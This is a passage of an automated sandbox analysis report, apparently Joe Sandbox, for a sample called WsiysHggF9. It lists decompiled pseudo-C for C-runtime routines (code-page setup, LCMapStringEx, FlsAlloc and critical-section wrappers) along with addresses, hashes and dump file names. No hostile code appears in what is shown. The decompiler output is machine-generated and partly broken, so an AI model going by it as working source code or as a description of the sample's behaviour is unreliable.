								_t76 = _t76 + 1;
								__eflags = _t76;
								continue;
							}
							break;
						}
						_t93 = _t93 + 2;
						__eflags = _t93;
						_t75 =  *_t93;
					}
					_t13 = _t101 + 4; // 0x5efc4d8b
					E0026BF68(0, _t95, 0x100, _t101, _t108, 0, 1,  &_v264, 0x100,  &_v1800,  *_t13, 0);
					_t16 = _t101 + 4; // 0x5efc4d8b
					_t19 = _t101 + 0x21c; // 0xdb855708
					E0026A0F5(0x100, _t101, _t108, 0,  *_t19, 0x100,  &_v264, 0x100,  &_v520, 0x100,  *_t16, 0); // executed
					_t21 = _t101 + 4; // 0x5efc4d8b
					_t23 = _t101 + 0x21c; // 0xdb855708
					E0026A0F5(0x100, _t101, _t108, 0,  *_t23, 0x200,  &_v264, 0x100,  &_v776, 0x100,  *_t21, 0);
					_t94 = 0;
					do {
						_t86 =  *(_t102 + _t94 * 2 - 0x704) & 0x0000ffff;
						if((_t86 & 0x00000001) == 0) {
							__eflags = _t86 & 0x00000002;
							if((_t86 & 0x00000002) == 0) {
								 *((char*)(_t101 + _t94 + 0x119)) = 0;
							} else {
								_t37 = _t101 + _t94 + 0x19;
								 *_t37 =  *(_t101 + _t94 + 0x19) | 0x00000020;
								__eflags =  *_t37;
								_t87 =  *((intOrPtr*)(_t102 + _t94 - 0x304));
								goto L15;
							}
						} else {
							 *(_t101 + _t94 + 0x19) =  *(_t101 + _t94 + 0x19) | 0x00000010;
							_t87 =  *((intOrPtr*)(_t102 + _t94 - 0x204));
							L15:
							 *((char*)(_t101 + _t94 + 0x119)) = _t87;
						}
						_t94 = _t94 + 1;
					} while (_t94 < 0x100);
				}
				return E0025EA8A(_v8 ^ _t102);
			}

0x0026ae73
0x0026ae7e
0x0026ae85
0x0026ae8a
0x0026ae95
0x0026aea7
0x0026af9f
0x0026af9f
0x0026afa5
0x0026afa7
0x0026afa8
0x0026afa8
0x0026afaa
0x0026afb0
0x0026afb0
0x0026afb2
0x0026afb4
0x0026afbd
0x0026afc0
0x0026afcc
0x0026afd3
0x0026afe3
0x0026afd5
0x0026afd5
0x0026afd8
0x0026afd8
0x0026afd8
0x0026afdc
0x0026afdc
0x00000000
0x0026afdc
0x0026afc2
0x0026afc2
0x0026afc7
0x0026afc7
0x0026afdf
0x0026afdf
0x0026afdf
0x0026afe5
0x0026afeb
0x0026afeb
0x0026aff1
0x0026aff2
0x0026aff2
0x0026aead
0x0026aead
0x0026aeaf
0x0026aeaf
0x0026aeb6
0x0026aeb7
0x0026aebb
0x0026aec1
0x0026aec7
0x0026aeef
0x0026aeef
0x0026aef1
0x00000000
0x00000000
0x0026aed0
0x0026aed4
0x0026aee6
0x0026aee6
0x0026aee8
0x00000000
0x00000000
0x0026aed9
0x0026aedb
0x0026aedd
0x0026aee5
0x0026aee5
0x00000000
0x0026aee5
0x00000000
0x0026aedb
0x0026aeea
0x0026aeea
0x0026aeed
0x0026aeed
0x0026aef4
0x0026af09
0x0026af0f
0x0026af23
0x0026af2a
0x0026af39
0x0026af4b
0x0026af52
0x0026af5a
0x0026af5c
0x0026af5c
0x0026af66
0x0026af76
0x0026af78
0x0026af8f
0x0026af7a
0x0026af7a
0x0026af7a
0x0026af7a
0x0026af7f
0x00000000
0x0026af7f
0x0026af68
0x0026af68
0x0026af6d
0x0026af86
0x0026af86
0x0026af86
0x0026af96
0x0026af97
0x0026af9b
0x0026b006

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0026AE98

Strings

, xrefs: 0026AEDD

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 68503bcdd059e998da2603df398c788cfe25e71fdb37728eb41cafc1ca5e0125
Instruction ID: 5d2c843dd88a7bb05d13abb263113feb52186ce286a12eb9f184fc0d92a62185
Opcode Fuzzy Hash: 68503bcdd059e998da2603df398c788cfe25e71fdb37728eb41cafc1ca5e0125
Instruction Fuzzy Hash: BF414BB05142489EDF228E24CC84BF6BBFDEF45304F1444ECE58AA7142D236AAD5DF62

Uniqueness

Uniqueness Score: -1.00%

Function 0026A5AC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 30%

			E0026A5AC(void* __ecx, void* __esi, void* __eflags, intOrPtr _a4, int _a8, short* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _t18;
				intOrPtr* _t20;
				intOrPtr* _t31;
				signed int _t33;

				_t26 = __ecx;
				_push(__ecx);
				_t18 =  *0x27d668; // 0xdef7aace
				_v8 = _t18 ^ _t33;
				_push(__esi);
				_t20 = E0026A2D8(0x16, "LCMapStringEx", 0x276354, "LCMapStringEx"); // executed
				_t31 = _t20;
				if(_t31 == 0) {
					LCMapStringW(E0026A634(_t26, _t31, __eflags, _a4, 0), _a8, _a12, _a16, _a20, _a24);
				} else {
					 *0x272260(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
					 *_t31();
				}
				return E0025EA8A(_v8 ^ _t33);
			}

0x0026a5ac
0x0026a5b1
0x0026a5b2
0x0026a5b9
0x0026a5bc
0x0026a5ce
0x0026a5d3
0x0026a5da
0x0026a61d
0x0026a5dc
0x0026a5f9
0x0026a5ff
0x0026a5ff
0x0026a631

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,7FE85006,00000001,?,000000FF), ref: 0026A61D

Strings

LCMapStringEx, xrefs: 0026A5BD, 0026A5C7

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 07b6e435ea7877b84f28ea91fe452808067ed6b2b42365b3f03bf689de7fd375
Instruction ID: 9470b5d9ab6853c77886ab7ec1be5a280dd5c0276666deb78329f8a77792d985
Opcode Fuzzy Hash: 07b6e435ea7877b84f28ea91fe452808067ed6b2b42365b3f03bf689de7fd375
Instruction Fuzzy Hash: CB01D332550219BBCF026FA0EC0ADEE7F66EF09760F054154FE1826161C6728AB1EF95

Uniqueness

Uniqueness Score: -1.00%

Function 0026A54A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E0026A54A(void* __ecx, void* __esi, void* __eflags, struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _t8;
				intOrPtr* _t10;
				intOrPtr* _t20;
				signed int _t22;

				_push(__ecx);
				_t8 =  *0x27d668; // 0xdef7aace
				_v8 = _t8 ^ _t22;
				_t10 = E0026A2D8(0x14, "InitializeCriticalSectionEx", 0x27634c, 0x276354); // executed
				_t20 = _t10;
				if(_t20 == 0) {
					InitializeCriticalSectionAndSpinCount(_a4, _a8);
				} else {
					 *0x272260(_a4, _a8, _a12);
					 *_t20();
				}
				return E0025EA8A(_v8 ^ _t22);
			}

0x0026a54f
0x0026a550
0x0026a557
0x0026a56c
0x0026a571
0x0026a578
0x0026a595
0x0026a57a
0x0026a585
0x0026a58b
0x0026a58b
0x0026a5a9

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00269BAF), ref: 0026A595

Strings

InitializeCriticalSectionEx, xrefs: 0026A565

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: b051a876d23f63b4d09c36f08df5e161aacd157e03b6947caf4d9165757ad2ac
Instruction ID: 0f4aedf24ebf60189d476d88a474fdea29f1ac10925e53f34655450b0ba16bf1
Opcode Fuzzy Hash: b051a876d23f63b4d09c36f08df5e161aacd157e03b6947caf4d9165757ad2ac
Instruction Fuzzy Hash: D2F09031A51218FBCB016F60DC09CAE7F65EF09B20B418154FD0D2A161CA724AA4EF81

Uniqueness

Uniqueness Score: -1.00%

Function 0026A3EF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E0026A3EF(void* __ecx, void* __esi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _t4;
				intOrPtr* _t6;
				intOrPtr* _t16;
				signed int _t18;

				_push(__ecx);
				_t4 =  *0x27d668; // 0xdef7aace
				_v8 = _t4 ^ _t18;
				_t6 = E0026A2D8(3, "FlsAlloc", 0x276310, 0x276318); // executed
				_t16 = _t6;
				if(_t16 == 0) {
					TlsAlloc();
				} else {
					 *0x272260(_a4);
					 *_t16();
				}
				return E0025EA8A(_v8 ^ _t18);
			}

0x0026a3f4
0x0026a3f5
0x0026a3fc
0x0026a411
0x0026a416
0x0026a41d
0x0026a42e
0x0026a41f
0x0026a424
0x0026a42a
0x0026a42a
0x0026a442

APIs

TlsAlloc.KERNEL32 ref: 0026A42E

Strings

FlsAlloc, xrefs: 0026A40A

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: c09aad8e76e9a168a52561a5514813039c885eeea1034320bd87fd2c03f8a8ee
Instruction ID: ffb845b2f167d5816bff5c965a8685d466f1915fc96f5d490745070ad27e07fb
Opcode Fuzzy Hash: c09aad8e76e9a168a52561a5514813039c885eeea1034320bd87fd2c03f8a8ee
Instruction Fuzzy Hash: 8FE0EC31661618AB87046B61AC0AD6D7B54DB46B11B404155FC0D67242CE714E60DAD6

Uniqueness

Uniqueness Score: -1.00%

Function 002630D7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E002630D7(void* __eflags, intOrPtr _a4) {
				intOrPtr* _t2;
				intOrPtr* _t6;

				_t2 = E00262FB6(4, "FlsAlloc", 0x274664, "FlsAlloc"); // executed
				_t6 = _t2;
				if(_t6 == 0) {
					return TlsAlloc();
				}
				L0025EB4C();
				return  *_t6(_a4);
			}

0x002630ec
0x002630f1
0x002630f8
0x0026310b
0x0026310b
0x002630ff
0x00263108

APIs

try_get_function.LIBVCRUNTIME ref: 002630EC

Strings

FlsAlloc, xrefs: 002630DB, 002630E5

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: cbfd7ea6deca3751cc24b9a771b715453bdd37f3787fe22f972d9fa184fd5c81
Instruction ID: a525e35a938f8d4e9e536fd9c82ad1b45d6338aebc884bebae1c3613ca90e0b0
Opcode Fuzzy Hash: cbfd7ea6deca3751cc24b9a771b715453bdd37f3787fe22f972d9fa184fd5c81
Instruction Fuzzy Hash: 28D05B21791765A7851036D56C03D99BE48DB43FB2F054051FF0D65242DB71457045DA

Uniqueness

Uniqueness Score: -1.00%

Function 0026B1D0 Relevance: 3.2, APIs: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0026B1D0(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				signed int _v36;
				signed int _t48;
				int _t51;
				signed int _t54;
				signed int _t55;
				short _t58;
				signed char _t62;
				signed int _t63;
				signed char* _t72;
				signed char* _t73;
				int _t78;
				signed int _t81;
				signed char* _t82;
				short* _t83;
				int _t87;
				signed char _t88;
				signed int _t89;
				signed int _t91;
				signed int _t92;
				int _t94;
				int _t95;
				intOrPtr _t98;
				signed int _t99;

				_t48 =  *0x27d668; // 0xdef7aace
				_v8 = _t48 ^ _t99;
				_t98 = _a8;
				_t78 = E0026AD9B(__eflags, _a4);
				if(_t78 != 0) {
					_t94 = 0;
					__eflags = 0;
					_t81 = 0;
					_t51 = 0;
					_v32 = 0;
					while(1) {
						__eflags =  *((intOrPtr*)(_t51 + 0x27d828)) - _t78;
						if( *((intOrPtr*)(_t51 + 0x27d828)) == _t78) {
							break;
						}
						_t81 = _t81 + 1;
						_t51 = _t51 + 0x30;
						_v32 = _t81;
						__eflags = _t51 - 0xf0;
						if(_t51 < 0xf0) {
							continue;
						} else {
							__eflags = _t78 - 0xfde8;
							if(_t78 == 0xfde8) {
								L23:
							} else {
								__eflags = _t78 - 0xfde9;
								if(_t78 == 0xfde9) {
									goto L23;
								} else {
									_t51 = IsValidCodePage(_t78 & 0x0000ffff);
									__eflags = _t51;
									if(_t51 == 0) {
										goto L23;
									} else {
										_t51 = GetCPInfo(_t78,  &_v28);
										__eflags = _t51;
										if(_t51 == 0) {
											__eflags =  *0x2a06c4 - _t94; // 0x0
											if(__eflags == 0) {
												goto L23;
											} else {
												E0026AE0E(_t98);
												goto L37;
											}
										} else {
											E0025F1A0(_t94, _t98 + 0x18, _t94, 0x101);
											 *(_t98 + 4) = _t78;
											 *(_t98 + 0x21c) = _t94;
											_t78 = 1;
											__eflags = _v28 - 1;
											if(_v28 <= 1) {
												 *(_t98 + 8) = _t94;
											} else {
												__eflags = _v22;
												_t72 =  &_v22;
												if(_v22 != 0) {
													while(1) {
														_t88 = _t72[1];
														__eflags = _t88;
														if(_t88 == 0) {
															goto L16;
														}
														_t91 = _t88 & 0x000000ff;
														_t89 =  *_t72 & 0x000000ff;
														while(1) {
															__eflags = _t89 - _t91;
															if(_t89 > _t91) {
																break;
															}
															 *(_t98 + _t89 + 0x19) =  *(_t98 + _t89 + 0x19) | 0x00000004;
															_t89 = _t89 + 1;
															__eflags = _t89;
														}
														_t72 =  &(_t72[2]);
														__eflags =  *_t72;
														if( *_t72 != 0) {
															continue;
														}
														goto L16;
													}
												}
												L16:
												_t73 = _t98 + 0x1a;
												_t87 = 0xfe;
												do {
													 *_t73 =  *_t73 | 0x00000008;
													_t73 =  &(_t73[1]);
													_t87 = _t87 - 1;
													__eflags = _t87;
												} while (_t87 != 0);
												 *(_t98 + 0x21c) = E0026AD5D( *(_t98 + 4));
												 *(_t98 + 8) = _t78;
											}
											_t95 = _t98 + 0xc;
											asm("stosd");
											asm("stosd");
											asm("stosd");
											L36:
											E0026AE73(_t78, _t91, _t95, _t98, _t98); // executed
											L37:
											__eflags = 0;
										}
									}
								}
							}
						}
						goto L39;
					}
					E0025F1A0(_t94, _t98 + 0x18, _t94, 0x101);
					_t54 = _v32 * 0x30;
					__eflags = _t54;
					_v36 = _t54;
					_t55 = _t54 + 0x27d838;
					_v32 = _t55;
					do {
						__eflags =  *_t55;
						_t82 = _t55;
						if( *_t55 != 0) {
							while(1) {
								_t62 = _t82[1];
								__eflags = _t62;
								if(_t62 == 0) {
									break;
								}
								_t92 =  *_t82 & 0x000000ff;
								_t63 = _t62 & 0x000000ff;
								while(1) {
									__eflags = _t92 - _t63;
									if(_t92 > _t63) {
										break;
									}
									__eflags = _t92 - 0x100;
									if(_t92 < 0x100) {
										_t31 = _t94 + 0x27d820; // 0x8040201
										 *(_t98 + _t92 + 0x19) =  *(_t98 + _t92 + 0x19) |  *_t31;
										_t92 = _t92 + 1;
										__eflags = _t92;
										_t63 = _t82[1] & 0x000000ff;
										continue;
									}
									break;
								}
								_t82 =  &(_t82[2]);
								__eflags =  *_t82;
								if( *_t82 != 0) {
									continue;
								}
								break;
							}
							_t55 = _v32;
						}
						_t94 = _t94 + 1;
						_t55 = _t55 + 8;
						_v32 = _t55;
						__eflags = _t94 - 4;
					} while (_t94 < 4);
					 *(_t98 + 4) = _t78;
					 *(_t98 + 8) = 1;
					 *(_t98 + 0x21c) = E0026AD5D(_t78);
					_t83 = _t98 + 0xc;
					_t91 = _v36 + 0x27d82c;
					_t95 = 6;
					do {
						_t58 =  *_t91;
						_t91 = _t91 + 2;
						 *_t83 = _t58;
						_t83 = _t83 + 2;
						_t95 = _t95 - 1;
						__eflags = _t95;
					} while (_t95 != 0);
					goto L36;
				} else {
					E0026AE0E(_t98);
				}
				L39:
				return E0025EA8A(_v8 ^ _t99);
			}

0x0026b1d8
0x0026b1df
0x0026b1e7
0x0026b1ef
0x0026b1f4
0x0026b205
0x0026b205
0x0026b207
0x0026b209
0x0026b20b
0x0026b20e
0x0026b20e
0x0026b214
0x00000000
0x00000000
0x0026b21a
0x0026b21b
0x0026b21e
0x0026b221
0x0026b226
0x00000000
0x0026b228
0x0026b228
0x0026b22e
0x0026b2fc
0x0026b234
0x0026b234
0x0026b23a
0x00000000
0x0026b240
0x0026b244
0x0026b24a
0x0026b24c
0x00000000
0x0026b252
0x0026b257
0x0026b25d
0x0026b25f
0x0026b2e9
0x0026b2ef
0x00000000
0x0026b2f1
0x0026b2f2
0x00000000
0x0026b2f2
0x0026b265
0x0026b26f
0x0026b274
0x0026b27c
0x0026b282
0x0026b283
0x0026b286
0x0026b2d9
0x0026b288
0x0026b288
0x0026b28c
0x0026b28f
0x0026b291
0x0026b291
0x0026b294
0x0026b296
0x00000000
0x00000000
0x0026b298
0x0026b29b
0x0026b2a6
0x0026b2a6
0x0026b2a8
0x00000000
0x00000000
0x0026b2a0
0x0026b2a5
0x0026b2a5
0x0026b2a5
0x0026b2aa
0x0026b2ad
0x0026b2b0
0x00000000
0x00000000
0x00000000
0x0026b2b0
0x0026b291
0x0026b2b2
0x0026b2b2
0x0026b2b5
0x0026b2ba
0x0026b2ba
0x0026b2bd
0x0026b2be
0x0026b2be
0x0026b2be
0x0026b2ce
0x0026b2d4
0x0026b2d4
0x0026b2de
0x0026b2e1
0x0026b2e2
0x0026b2e3
0x0026b3a7
0x0026b3a8
0x0026b3ad
0x0026b3ae
0x0026b3ae
0x0026b25f
0x0026b24c
0x0026b23a
0x0026b22e
0x00000000
0x0026b3b0
0x0026b30e
0x0026b316
0x0026b316
0x0026b31a
0x0026b31d
0x0026b323
0x0026b326
0x0026b326
0x0026b329
0x0026b32b
0x0026b32d
0x0026b32d
0x0026b330
0x0026b332
0x00000000
0x00000000
0x0026b334
0x0026b337
0x0026b353
0x0026b353
0x0026b355
0x00000000
0x00000000
0x0026b33c
0x0026b342
0x0026b344
0x0026b34a
0x0026b34e
0x0026b34e
0x0026b34f
0x00000000
0x0026b34f
0x00000000
0x0026b342
0x0026b357
0x0026b35a
0x0026b35d
0x00000000
0x00000000
0x00000000
0x0026b35d
0x0026b35f
0x0026b35f
0x0026b362
0x0026b363
0x0026b366
0x0026b369
0x0026b369
0x0026b36f
0x0026b372
0x0026b381
0x0026b38a
0x0026b38f
0x0026b395
0x0026b396
0x0026b396
0x0026b399
0x0026b39c
0x0026b39f
0x0026b3a2
0x0026b3a2
0x0026b3a2
0x00000000
0x0026b1f6
0x0026b1f7
0x0026b1fd
0x0026b3b1
0x0026b3c0

APIs

Part of subcall function 0026AD9B: GetOEMCP.KERNEL32(00000000,?,?,0026B024,?), ref: 0026ADC6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0026B069,?,00000000), ref: 0026B244
GetCPInfo.KERNEL32(00000000,0026B069,?,?,?,0026B069,?,00000000), ref: 0026B257

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 17d2a241182724634bc938a0b08611e3b406a6995a3e95f76d4f835fb08da357
Instruction ID: 60cfe4a219dc6218bc700308232b7c91940a77fd5e19a14bfa60e35f8f81b7f7
Opcode Fuzzy Hash: 17d2a241182724634bc938a0b08611e3b406a6995a3e95f76d4f835fb08da357
Instruction Fuzzy Hash: E6513370A202469EDB229F31C8956BFBBF4EF41310F1440AED89AC7252D73599E6CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00252BB2 Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00252BB2(void* __ebx, void* __ecx, void* __ebp, intOrPtr _a4, char _a8) {
				char _v12;
				signed int _v16;
				char _v17;
				signed int _v28;
				void* __edi;
				intOrPtr _t48;
				signed int _t49;
				signed int _t59;
				intOrPtr _t68;
				void* _t71;
				signed int _t75;
				signed int* _t77;
				void* _t89;
				void* _t91;
				signed int _t95;
				signed int* _t97;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t103;

				_t99 = __ebp;
				_t72 = __ecx;
				_t103 = _t102 - 0x14;
				_t68 = _a4;
				_t89 = __ecx;
				if(_t68 == 0) {
					_t72 = 0x27ff50;
					E00246E92(0x27ff50);
				}
				_t48 = 0x40000;
				if(_t68 < 0x40000) {
					_t68 = 0x40000;
					_a4 = 0x40000;
				}
				if(_t68 <=  *((intOrPtr*)(_t89 + 0xe6d8))) {
					L29:
					return _t48;
				} else {
					if(_a8 == 0 ||  *(_t89 + 0x4b40) == 0 &&  *((char*)(_t89 + 0x4c44)) == 0) {
						_v17 = 0;
						goto L11;
					} else {
						_v17 = 1;
						if( *((char*)(_t89 + 0x4c44)) == 0) {
							L11:
							_push(_t99);
							if( *((char*)(_t89 + 0x4c44)) == 0) {
								_push(_t68); // executed
								_t49 = E00263413(_t72); // executed
								_t100 = _t49;
								if(_t100 != 0) {
									goto L19;
								} else {
									goto L14;
								}
							} else {
								_t100 = 0;
								L14:
								if(_v17 != 0 || _t68 < 0x1000000) {
									goto L31;
								} else {
									_t60 =  *(_t89 + 0x4b40);
									if( *(_t89 + 0x4b40) != 0) {
										L0026340E(_t60);
										 *(_t89 + 0x4b40) =  *(_t89 + 0x4b40) & 0x00000000;
									}
									E00252AEB(_t68, _t89 + 0x4b44, _t100, _t68);
									 *((char*)(_t89 + 0x4c44)) = 1;
									L19:
									if( *((char*)(_t89 + 0x4c44)) == 0) {
										E0025F1A0(_t89, _t100, 0, _t68);
										_t103 = _t103 + 0xc;
										if(_v17 != 0 &&  *((intOrPtr*)(_t89 + 0xe6d8)) >= 1) {
											_t75 = _t68 - 1;
											_v16 = _t75;
											_t71 = 1;
											do {
												_t95 =  *((intOrPtr*)(_t89 + 0x7c)) - _t71;
												_t71 = _t71 + 1;
												 *((char*)((_t75 & _t95) + _t100)) =  *((intOrPtr*)(( *((intOrPtr*)(_t89 + 0xe6d8)) - 0x00000001 & _t95) +  *(_t89 + 0x4b40)));
												_t75 = _v16;
											} while (_t71 <=  *((intOrPtr*)(_t89 + 0xe6d8)));
											_t68 = _a4;
										}
										_t51 =  *(_t89 + 0x4b40);
										if( *(_t89 + 0x4b40) != 0) {
											L0026340E(_t51);
										}
										 *(_t89 + 0x4b40) = _t100;
									}
									_t48 = _t68 - 1;
									 *((intOrPtr*)(_t89 + 0xe6d8)) = _t68;
									 *((intOrPtr*)(_t89 + 0xe6dc)) = _t48;
									goto L29;
								}
							}
						} else {
							E00251948( &_v12);
							E002613CA( &_v12, 0x27a6a4);
							L31:
							_t77 =  &_v12;
							E00251948(_t77);
							E002613CA( &_v12, 0x27a6a4);
							asm("int3");
							_push(_t93);
							_t97 = _t77;
							_push(_t89);
							_t91 = 4;
							_t97[1] = _t97[1] & 0x00000000;
							 *_t97 =  *_t97 & 0x00000000;
							_t97[2] = _t97[2] | 0xffffffff;
							_t97[6] = _v28;
							do {
								_t59 = E00252951(_t97[6]);
								_t97[1] = _t97[1] << 0x00000008 | _t59;
								_t91 = _t91 - 1;
							} while (_t91 != 0);
							return _t59;
						}
					}
				}
			}

0x00252bb2
0x00252bb2
0x00252bb2
0x00252bb6
0x00252bbb
0x00252bbf
0x00252bc1
0x00252bc6
0x00252bc6
0x00252bcb
0x00252bd2
0x00252bd4
0x00252bd6
0x00252bd6
0x00252be0
0x00252cf9
0x00252cfe
0x00252be6
0x00252beb
0x00252c12
0x00000000
0x00252bff
0x00252c06
0x00252c0b
0x00252c17
0x00252c1e
0x00252c1f
0x00252c25
0x00252c26
0x00252c2b
0x00252c30
0x00000000
0x00000000
0x00000000
0x00000000
0x00252c21
0x00252c21
0x00252c32
0x00252c37
0x00000000
0x00252c49
0x00252c49
0x00252c51
0x00252c54
0x00252c59
0x00252c60
0x00252c68
0x00252c6d
0x00252c74
0x00252c7b
0x00252c81
0x00252c86
0x00252c8e
0x00252c99
0x00252c9e
0x00252ca2
0x00252ca4
0x00252cad
0x00252cba
0x00252cbe
0x00252cc1
0x00252cc5
0x00252ccd
0x00252cd1
0x00252cd2
0x00252cda
0x00252cdd
0x00252ce2
0x00252ce3
0x00252ce3
0x00252ce9
0x00252cec
0x00252cf2
0x00000000
0x00252cf8
0x00252c37
0x00252c0d
0x00252d05
0x00252d14
0x00252d19
0x00252d19
0x00252d1d
0x00252d2c
0x00252d31
0x00252d36
0x00252d37
0x00252d39
0x00252d3c
0x00252d3d
0x00252d41
0x00252d44
